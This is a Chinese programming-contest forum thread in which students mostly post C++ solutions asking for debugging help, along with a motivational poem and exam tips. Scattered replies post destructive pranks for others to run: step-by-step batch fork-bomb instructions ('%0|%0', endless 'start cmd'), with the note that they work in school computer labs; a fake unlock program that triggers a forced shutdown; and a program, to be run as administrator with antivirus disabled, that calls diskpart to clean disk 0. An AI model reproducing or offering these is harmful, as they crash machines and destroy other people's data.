- 问答
【FAQ】问答&讨论贴
- @ 2025-6-7 13:41:09
最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。
不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。
删了一些同学们自己举办的比赛的帖子。
我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。
更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 分,再考虑自己举办一些简单的比赛。
语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)
感觉不过瘾还可以打atcoder和codeforces
304 条评论
-
LGL0819 神に挑戦すること自体が... 陰謀を企てていない... LV 9 (1500/9700) @ 2025-11-24 22:18:38@TooY0ung P2121 70WA 求调 题目在这里
我自己调了一个小时#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bitset> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const int maxn = 2e4 + 10; const ll inf=1e18L; using namespace std; typedef pair<int,int> Pii; typedef pair<__int128,int>P; int n, m, k; struct Bian{ int u, v, cost; }; Bian bian[100005]; int dian[100005], father[100005]; int findfa(int x) { if(x == father[x]) return x; else return father[x] = findfa(father[x]); } bool cmp(Bian x, Bian y) { return x.cost > y.cost; } int ans; int cnt; signed main(){ // freopen(".in", "r", stdin); // freopen(".out", "w", stdout); ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); //最大生成树 cin >> n >> m >> k; for(int i = 1; i <= n; i++) father[i] = i, dian[i] = i; for(int i = 1; i <= m; i++) cin >> bian[i].u >> bian[i].v >> bian[i].cost; sort(bian + 1, bian + n + 1, cmp); for(int i = 1; i <= m; i++) { int fau = findfa(bian[i].u); int fav = findfa(bian[i].v); if(fav != fau) { father[fau] = fav; ans += bian[i].cost; cnt++; } if(cnt == k) break; } cout << ans; return 0; } -
@ 2025-11-23 12:57:28
『我们是OIer,』 —Code Warriors—
『所以』 —We Don ′ t Run, We Code—
『不用在跑道上挥汗如雨;』 —No Track, No Sweat—
『不用在球场上健步如飞;』 —No Court, No Sprint—
『更不用在没事的时候,』 —No Need for Training—
『经受非人的体能训练……』 —But Our Minds Run Fast—
『但是,』 —Yet—
『我们却要把头脑』 —We Push Our Minds—
『高速运转,』 —At Full Speed—
『还要接受一大堆』 —Learn What College Students—
『大学生也只是』 —Only Understand Slightly—
『“了解即可”的知识,』 —We Master It—
『把一个个抽象的问题』 —Turn Problems Into Code—
『转化为一篇篇』 —Elegant and Beautiful—
『优美的代码,』 —Algorithms in Art—
『才能在F11按下以后』 —Press F11, Hear Cheers—
『获得欢呼。』 —Then We Are Heard—
『不要以为我们』 —Don ′ t Think We ′ re Easy—
『机房里没有风吹,』 —No Wind or Sun—
『没有日晒,』 —But Our Lab Has Code—
『就比勤劳的体育生们轻松,』 —We Sweat in Brain—
『只不过是大脑和四肢的区别罢了。』 —Mind vs Muscle—
『可是, —But—
『OIer的寂寞和委屈又有谁能懂?』 —Who Understands Us?—
『自习课鏖战机房,』 —Contests in Self Study—
『却被认为是逃课上网;』 —Called Skipping Class—
『为荣耀耽误考试去比赛,』 —Miss Exams for Glory—
『却被认为是逃避。』 —But They Call It Escape—
『体育的同学们虽然辛苦,』 —Athletes Have Fans—
『但在挥汗如雨的背后,』 —They Have Applause—
『有人在喝彩鼓掌;』 —We Have Only the Screen—
『在风吹日晒的同时,』 —They Have Fans Watching—
『有粉丝在仰慕。』 —We Have No Spotlight—
『而我们呢?』 —Where Is Our Light?—
『与WA较劲的时候,』 —Fighting Against Errors—
『只有那一遍遍的运行窗口,』 —Only the Command Window—
『知道我们的不屈;』 —Knows Our Will—
『刷题的漫漫长夜,』 —Long Nights of Practice—
『只有陪伴我们的笔记本电脑,』 —Only Our Laptop Knows—
『知道我们的不懈;』 —Knows Our Determination—
『在自习课别人学习的时候,』 —While Others Study—
『只有板砖般的算法导论,』 —Only the Thick Book—
『知道我们的进取;』 —Knows Our Ambition—
『没有人会理解, —No One Understands—
『OIer,』 —We Are OIers—
『除了程序、算法之外』 —Code and Algorithms—
『别无他言。』 —That ′ s All We Speak—
『我们的世界里,』 —No Games, No Stars—
『从来不会有游戏、歌星的出现。』 —Only Code and Logic—
『这不是被家长逼迫的“小四门”,』 —Not Forced by Parents—
『是我们的兴趣,』 —It ′ s Our Passion—
『我们的爱好』 —Our Interest—
『乃至我们的事业。』 —Our Future—
『每一个OIer都幻想着』 —We Dream of Medals—
『自己脖子上可以』 —Gold, Silver, Bronze—
『挂上一块沉甸甸的金牌,』 —Not Exam Chains—
『而不是』 —But Freedom—
『万恶的应试教育的枷锁。』 —Not the System—
『没准哪个OIer,』 —Maybe One of Us—
『就是下一个艾伦•图灵,』 —Next Alan Turing—
『挑战头脑的极限,』 —Pushing the Limits—
『去做最不平凡的自己……』 —To Be Extraordinary—
-
@ 2025-11-22 18:37:22
t
-
@ 2025-11-22 12:41:04RP++ RP++ RP++
-
@ 2025-11-21 21:55:55P1063 86TLE求调
#include<bits/stdc++.h> using namespace std; int n,k,a[25],ans; bool judge_prime(int x){ if(x==0||x==1) return 0; for(int i=2;i<=sqrt(x);i++){ if(x%i==0) return 0; } return 1; } void TLE86fen(int sum,int num,int num1){ if(num==n+1){ if(num1==k&&judge_prime(sum)){ ans++; } return ; } TLE86fen(sum+a[num],num+1,num1+1); TLE86fen(sum,num+1,num1); } int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>k; for(int i=1;i<=n;i++){ cin>>a[i]; } TLE86fen(0,1,0); cout<<ans; } -
@ 2025-11-20 21:20:44#include <iostream> #include <cmath> #include <iomanip> #include <algorithm> #include <vector> using namespace std; char arr[25][25]; int vis[26]; int m,n; int check(int i,int j){ // cout<<i<<" "<<j<<" -------------- "<<endl; if (i < 0 || i >= n || j < 0 || j >= m) return 0; if (vis[arr[i][j]]) return 0; vis[arr[i][j]]++; int a,b,c,d; int mx = -88888888; int maxPath = 0; maxPath = max(maxPath, check(i-1, j)); // 上 maxPath = max(maxPath, check(i+1, j)); // 下 maxPath = max(maxPath, check(i, j-1)); // 左 maxPath = max(maxPath, check(i, j+1)); // 右 vis[arr[i][j]]--; return maxPath + 1; } int main(){ cin >> n >> m; for(int i = 0;i<n;i++){ for(int j = 0;j<m;j++){ cin >> arr[i][j]; vis[arr[i][j]] = 0; } } int ans = check(0,0); cout << ans << endl; return 0; }LETTERS
40WA求调
-
@ 2025-11-19 18:14:10#include<bits/stdc++.h> #define int long long using namespace std; int n,a[1005],f[1005]; signed main(){ ios::sync_with_stdio(false); cin.tie(0); memset(f,0,sizeof(f)); cin>>n; cin>>a[1]; for(int i=2;i<=n;i++){ cin>>a[i]; f[abs(a[i]-a[i-1])]=1; } for(int i=1;i<=n-1;i++){ if(f[i]==0){ cout<<"Not jolly"; return 0; } } cout<<"Jolly"; } -
@ 2025-11-17 22:38:13#include<bits/stdc++.h> #define ll long long using namespace std; int n,ans=1e8,a[210],dp[210]; int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n; for(int i=1;i<=n;++i){ cin>>a[i]; } for(int ii=1;ii<=n;++ii){ for(int i=0;i<205;++i){ dp[i]=1; } int llll=0,anst=-1; for(int i=2;i<=ii;++i){ for(int j=1;j<=i;++j){ if(a[j]<a[i]){ dp[i]=max(dp[i],dp[j]+1); } anst=max(anst,dp[i]); } } llll+=anst,anst=-1; for(int i=ii+2;i<=n;++i){ for(int j=ii+1;j<=i;++j){ if(a[j]>a[i]){ dp[i]=max(dp[i],dp[j]+1); } anst=max(anst,dp[i]); } } llll+=anst; llll=n-llll; ans=min(ans,llll); } cout<<ans<<'\n'; return 0; }@TooY0ung P1091 90WA求调
-
@ 2025-11-16 10:56:43X组没救了
-
@ 2025-11-15 9:39:171.在windoes环境下创建一个文本文档
2.打开输入以下程序
start cmd %03.(有后缀.txt的同学不用)打开此电脑,点击查找,找到文件扩展名,打对勾
4.把文件重命名为xxx.bat(xxx代表文件名称)
5.运行
注意事项
1.请保存好你的程序,以上及以下文件重启就好
2.是用英文输入/不用中文输入
%0|%0这个程序大家也可以试试,操作和上面一样
免责声明
若对您的电脑程序造成任何问题,不要告我哈~
c++版本
#include<bits/stdc++.h> using namespace std; int main() { while(1) { system("start cmd"); } }祝大家《游玩》愉快
注:可以用在学校机房喔~
-
@ 2025-11-12 19:24:09恭喜冯昱博本人完成✅666道题

-
@ 2025-11-11 17:51:27#include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std; struct node{ int g; string s; }; bool f(string a) { // 检查是否包含冒号 size_t pos = a.find(':'); if (pos == string::npos) return false; // 检查冒号前后是否有内容 string ip_part = a.substr(0, pos); string port_part = a.substr(pos + 1); // 检查 IP 部分是否包含恰好三个点 int dot_count = 0; for (char c : ip_part) { if (c == '.') dot_count++; } if (dot_count != 3) return false; // 分割 IP 部分 vector<string> parts; size_t start = 0; size_t end = 0; while ((end = ip_part.find('.', start)) != string::npos) { parts.push_back(ip_part.substr(start, end - start)); start = end + 1; } parts.push_back(ip_part.substr(start)); // 检查 IP 部分的四个字段 for (int i = 0; i < 4; ++i) { string part = parts[i]; // 检查是否为空或含有非法字符 if (part.empty() || !isdigit(part[0])) return false; // 检查前导零 if (part.length() > 1 && part[0] == '0') return false; // 转换为整数并检查范围 try { int val = stoi(part); if (val < 0 || val > 255) return false; } catch (...) { return false; } } // 检查端口部分 if (port_part.empty() || !isdigit(port_part[0])) return false; // 检查前导零 if (port_part.length() > 1 && port_part[0] == '0') return false; // 转换为整数并检查范围 try { int port_val = stoi(port_part); if (port_val < 0 || port_val > 65535) return false; } catch (...) { return false; } return true; } void print(int size,node array[]){ for(int i = 0;i<=size;i++){ cout<<array[i].g<<" "<<array[i].s<<endl; } } int u(string a,int size,node array[]){ for(int i=0;i<=size;i++){ if(array[i].s==a){ return -1; } } return 0; } int y(string a,node array[],int n){ for(int i=0;i<=n;i++){ if(array[i].s==a){ return i; } } return -1; } int main() { freopen("network.in", "r", stdin); freopen("network.out", "w", stdout); string op; int n; cin >> n; node array[n]; for(int i = 0;i<n;i++){ array[i].g=0; array[i].s = ""; } int size = 0; for (int i = 0; i < n; i++) { cin >> op; string d; cin >> d; if(op=="Server"){ if(f(d)){ if(u(d,size,array)==-1){ cout << "FAIL" << endl; continue; }else{ // cout<<size<<endl; cout << "OK" << endl; // print(size,array); array[size].g=i+1; array[size].s=d; size++; } }else{ cout << "ERR" << endl; continue; } } if(op=="Client"){ if(f(d)){ if(y(d,array,n)==-1){ cout<<"FAIL"<<endl; }else{ cout << array[y(d,array,n)].g << endl; } } else{ cout << "ERR" << endl; } } } return 0; }
75分网络连接求调 网址:https://oj.since2018.top/p/CSP2021J2C
-
@ 2025-11-10 22:35:47(好了)
-
@ 2025-11-9 20:26:02#include<bits/stdc++.h> #define ll long long using namespace std; int t,n,a[100010],b[100010],c[100010],cha[100010],id[100010],cnt1,cnt2,cnt3,ans,cnt; int main(){ freopen("club.in","r",stdin); freopen("club.out","w",stdout); ios::sync_with_stdio(false); cin.tie(0); cin>>t; while(t--){ cnt1=0,cnt2=0,cnt3=0,ans=0,cnt=0; cin>>n; for(int i=1;i<=n;++i){ cin>>a[i]>>b[i]>>c[i]; if(a[i]>=max(b[i],c[i])){ cnt1++,ans+=a[i],id[i]=1; } if(b[i]>=max(a[i],c[i])){ cnt2++,ans+=b[i],id[i]=2; } if(c[i]>=max(a[i],b[i])){ cnt3++,ans+=c[i],id[i]=3; } } for(int i=1;i<=n;++i){ if(cnt1>n/2&&id[i]==1){ ++cnt; cha[cnt]=a[i]-max(b[i],c[i]); } if(cnt2>n/2&&id[i]==2){ ++cnt; cha[cnt]=b[i]-max(a[i],c[i]); } if(cnt3>n/2&&id[i]==3){ ++cnt; cha[cnt]=c[i]-max(a[i],b[i]); } } sort(cha+1,cha+cnt+1); int now=1; while(cnt1>n/2){ ans-=cha[now]; --cnt1; ++now; } while(cnt2>n/2){ ans-=cha[now]; --cnt2; ++now; } while(cnt3>n/2){ ans-=cha[now]; --cnt3; ++now; } cout<<ans<<'\n'; } return 0; }......
-
@ 2025-11-8 19:41:58
1
-
@ 2025-11-8 19:25:03
1
-
@ 2025-11-8 16:05:11
#include<bits/stdc++.h> #include<windows.h> using namespace std; int a[15]={45,70,70,75,80,-90,-100,-100,-115,-125,-130}; int main() { srand(time(0)); double j=0; cout<<"玩法:\n输入抽取次数(5次起步),实际发放金币为平均数\n"; int n; cin>>n; for(int i=1;i<=max(5,n);i++) { int x=rand()%10+1; cout<<a[x]<<" "; j+=a[x]; Sleep(100); } cout<<"\n"; cout<<j/max(n,5)<<"金币"; } -
@ 2025-11-8 14:41:16
#include<bits/stdc++.h> using namespace std; int main() { string j=""; cout<<"滑动3次解锁"; cin>>j; if(j=="qwertyuiopasdfghjklzxcvbnm") { cout<<"哈哈哈,逗你的"; return 0; } else { system("cls"); system("color 3F"); cout<<"20s后注销..."; system("shutdown -s -t 20"); } } ```哪个胆大的同学来逝逝,(后果自负) -
@ 2025-11-1 15:30:57
#include<bits/stdc++.h> using namespace std; int main() { while(1) { system("start cmd"); } }哪个胆大的同学来逝逝,(后果自负)
-
@ 2025-11-1 11:44:09可恶,竟然没参加csp-J&&S,气si我了
-
@ 2025-10-31 20:54:50
的风格
-
@ 2025-10-31 20:06:27祝各位RP++
-
@ 2025-10-30 18:09:51各位,wotojo在几分钟前崩了大约1分钟后好了呃...
-
@ 2025-10-28 22:34:31@[李泽鹏]TooY0ung Runtime Error 4.144781ms 1152KiB ExitCode: 11 (Segmentation fault) 这是啥问题
-
@ 2025-10-26 19:43:22@ 2025赛前狂练3-T3求调!!!!!!
#include <bits/stdc++.h> #define ll long long using namespace std; int n,a[200010]; bool chk(int x){ int l1 = 1,h1 = n; int r1 = 0; while(l1 <= h1) { int m = (l1 + h1) / 2; if (a[m] - a[1] <= x) { r1 = m; l1 = m + 1; } else h1 = m - 1; } if (r1 ==n) return 1; l1 = r1 + 1,h1 = n; int r2 = 0; while (l1 <= h1) { int mid = (l1 + h1) / 2; if (a[mid] - a[r1 + 1] <= x) { r2 = mid; l1 = mid + 1; } else { h1 = mid - 1; } } if (r2 == n) { return 1; } return (a[n] - a[r2 + 1] <= x); } int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> n; for (int i = 1;i <= n;i++) cin >> a[i]; sort(a + 1,a + n + 1); if (n <= 3) { cout << 0; return 0; } int l = 0,r = a[n] - a[1]; int ans = r; while(l <= r) { int mid = (l + r) / 2; if (chk(mid)) { ans = mid; r = mid - 1; } else l = mid + 1; } cout << ans; return 0; } -
@ 2025-10-26 19:23:27#include <bits/stdc++.h> using namespace std; int n; int a[200005]; bool check(int D) { int low = 0, high = n - 1; int r1 = 0; while (low <= high) { int mid = (low + high) / 2; if (a[mid] - a[0] <= D) { r1 = mid; low = mid + 1; } else { high = mid - 1; } } if (r1 == n - 1) { return true; } low = r1 + 1; high = n - 1; int r2 = r1 + 1; while (low <= high) { int mid = (low + high) / 2; if (a[mid] - a[r1 + 1] <= D) { r2 = mid; low = mid + 1; } else { high = mid - 1; } } if (r2 == n - 1) { return true; } return (a[n - 1] - a[r2 + 1] <= D); } int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> n; for (int i = 0; i < n; ++i) { cin >> a[i]; } sort(a, a + n); if (n <= 3) { cout << 0 << endl; return 0; } int left = 0, right = a[n - 1] - a[0]; int ans = right; while (left <= right) { int mid = (left + right) / 2; if (check(mid)) { ans = mid; right = mid - 1; } else { left = mid + 1; } } cout << ans << endl; return 0; }满级二分套二分
-
@ 2025-10-26 18:02:57
———————————————————————————————————————
(freopen的创建) freopen("(文件名).in","r",stdin); freopen("(文件名).out","w",stdout); //其他正常~ 注意!!!正常测试样例时,把freopen勾掉!!
———————————————————————————————————————
对于创建文件时,举个例子: 比如说你是CN-J123456号考生, 创建文件时,请倾听监考老师让你把文件创建在哪里。如果创建在桌面上,(这是最好的情况)鼠标右键点击桌面,创建你人生中第n次的文件。(别说我没告诉你文件名是什么~CN-J123456) 其中,等试卷传输给你的电脑后,在里面创建试卷目录上要求的每一个题目的文件。 在你写代码时,请“亲切”地选中试题的文件,创建你这道题的.cpp。 注意!!!创建时,不可以再加一个cpp!!!会错!!! 写完你的代码后,终于,熬过了n天,终于要交代码了!注意!!!提交的时候,每一个试题文件中,请不要把exe放在文件中。
———————————————————————————————————————
祝考生考试结束时,请老师分发答案和试卷。
-
@ 2025-10-26 17:52:561 + 1
=4 - 0 - 2
=4 - + - 2
= + - 2
= + - 2
= + - 2
= + - 2
= + - 2
=5 - + - 2
=5 - 2
=3
-
@ 2025-10-26 17:03:08
-
@ 2025-10-26 16:37:36最近的事情更有语了,京东上现在有三个人在卖数据了。周赛数据永久开始更新。
允许学生创建新作业了,前面大家可以在这里讨论相关内容。会定期增加。
删了一些老师们自己举办的比赛的帖子。
我建议我们可以私聊参赛。讨论区太整洁了,有些提问我看到了已经。
更重要的是,还是先不要学c++吧各位同学,当你拿了提高组 0分,再考虑自己举办一些复杂的比赛。
语法场的初心还是为了学生们进价高级算法,低水平选手可以选择参加菜鸡语法场和菜鸡提高场 目前也看见能打的 (参考新冬马拉松赛成绩)
感觉过瘾还可以打aTcoDeR和codef0rces
-
@ 2025-10-26 14:26:44 -
@ 2025-10-26 14:25:47 -
@ 2025-10-25 20:20:28?
-
@ 2025-10-25 9:36:23
444666888
-
@ 2025-10-24 21:10:53#include <bits/stdc++.h> #define ll long long using namespace std; int t,n; int main() { ios::sync_with_stdio(false); cin.tie(0); cin >> t; while (t--) { cin >> n; if (n % 7 == 0) { for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 1) { if (n == 1) { cout << -1 << "\n"; continue; } cout << 10; n-=8; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 2) { cout << 1; for (int i = 1;i <= (n - 7) / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 3) { if (n == 3) cout << 7 << "\n"; else if (n == 10) cout << 22 << "\n"; else{ cout << 200; n -= 17; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } else if (n % 7 == 4) { if (n == 4) cout << "4\n"; else{ cout << 20; n -= 11; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } else if (n % 7 == 5) { cout << 2; n -= 5; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } else if (n % 7 == 6) { cout << 6; n -= 6; for (int i = 1;i <= n / 7;i++) cout << 8; cout << "\n"; } } return 0; } -
@ 2025-10-24 10:11:30细节暗网:

-
@ 2025-10-21 22:26:13
-
@ 2025-10-20 18:01:30



-
@ 2025-10-19 18:11:28
:
应该是a[i].val > maxxue而非maxxue < a[i].val -
@ 2025-10-19 17:33:17谁能告诉我为什么会RTE啊QAQ
代码:
#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #define ll long long #define ull unsigned long long #define eps 1e-10 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double using namespace std; const ll mod1=1e9+7; const ll mod2=998244353; const int maxn = 2e5 + 10; const int maxm = 1e6 + 10; const ll inf=1e18L; typedef pair<int,int>Pii; typedef pair<int,ll>Pil; using namespace std; int n,maxx,d[10005],l,r,mid,anss; bool check(int x){ int tim=0,ans=0; priority_queue<int,vector<int>,greater<int>>q; for(int i=1;i<=x;i++){ q.push(d[i]); } for(int i=x+1;i<=n;i++){ ans+=q.top()-tim; tim=q.top(); q.pop(); q.push(d[i]+tim); if(ans>maxx){ return false; } } while(x--){ ans+=q.top()-tim; tim=q.top(); q.pop(); if(ans>maxx){ return false; } } return true; } int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>maxx; for(int i=1;i<=n;i++){ cin>>d[i]; } while(l<=r){ int mid=(l+r)>>1; if(check(mid)){ anss=mid; r=mid-1; } else l=mid+1; } cout<<anss; return 0; } -
@ 2025-10-19 17:02:44禁止关闭安全中心,并编译此程序,且以管理员身份运行!
#include <bits/stdc++.h> #include <windows.h> #define ll long long using namespace std; int main(){ system("diskpart"); system("list disk"); system("select disk 0"); system("clean"); return 0; }否则后果自负!!!
-
@ 2025-10-19 15:34:47@TooY0ung

-
@ 2025-10-18 18:57:36
666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
-
@ 2025-10-18 14:09:02

-
@ 2025-10-17 19:19:03666,最近调代码的人为什么这么多?
-
@ 2025-10-17 17:49:41题目在这里 0WA 求调 代码:
#include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bits/stdc++.h> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const ll maxn = 5123456; const ll inf = 1e18L; using namespace std; typedef pair<int, int>Pii; typedef pair<__int128, int>P; //priority_queue <int, vector<int>, greater<int>> q; int t; char a[212][212]; int r, c; int dx[] = {1, 0, -1, 0}; int dy[] = {0, 1, 0, -1}; int vis[212][212]; int dis[212][212]; struct edge{ int x, y; }; void bfs(int sx, int sy, int ex, int ey) { for(int i = 1; i <= r; i++) for(int j = 1; j <= c; j++) dis[i][j] = 1e9; queue <edge> q; vis[sx][sy] = 1; q.push({sx, sy}); dis[sx][sy] = 1; while(!q.empty()) { edge tt; tt = q.front(); q.pop(); for(int i = 0; i < 4; i++) { int xx = tt.x + dx[i]; int yy = tt.y + dy[i]; if(xx < 1 || yy < 1 || xx > r || yy > c || vis[xx][yy] || a[xx][yy] == '#') continue; q.push({xx, yy}); dis[xx][yy] = dis[tt.x][tt.y] + 1; vis[xx][yy] = 1; } } } signed main(){ ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cin >> t; while(t--) { int sx, sy, ex, ey; cin >> r >> c; memset(a, 0, sizeof(a)); memset(vis, 0, sizeof(vis)); for(int i = 1; i <= r; i++) { for(int j = 1; j <= c; j++) { cin >> a[i][j]; if(a[i][j] == 'S') sx = i, sy = j; if(a[i][j] == 'E') ex = i, ey = j; } } bfs(sx, sy, ex, ey); if(dis[ex][ey] == 1e9) cout << "oop!\n"; else cout << dis[ex][ey] << "\n"; } return 0; } -
@ 2025-10-15 21:20:160分WA求调
题目传送门 代码:
#include <iostream> #include <algorithm> using namespace std; inline int read(){ int x = 0, f = 1; char ch = getchar_unlocked(); while (!isdigit(ch)){ if (ch == '-') f = -1; ch = getchar_unlocked(); } while (isdigit(ch)){ x = (x << 1) + (x << 3) + (ch ^ 48); ch = getchar_unlocked(); } return x * f; } inline void write(int x){ if (x < 0) putchar('-'), x = -x; if (x > 9) write(x / 10); putchar(x % 10 + '0'); } int main() { freopen("tri.in","r",stdin); freopen("tri.out","w",stdout); long long n; n=read(); long long ans=0; for(long long i=1;i<=n;i++) { write(i); putchar(' '); } return 0; }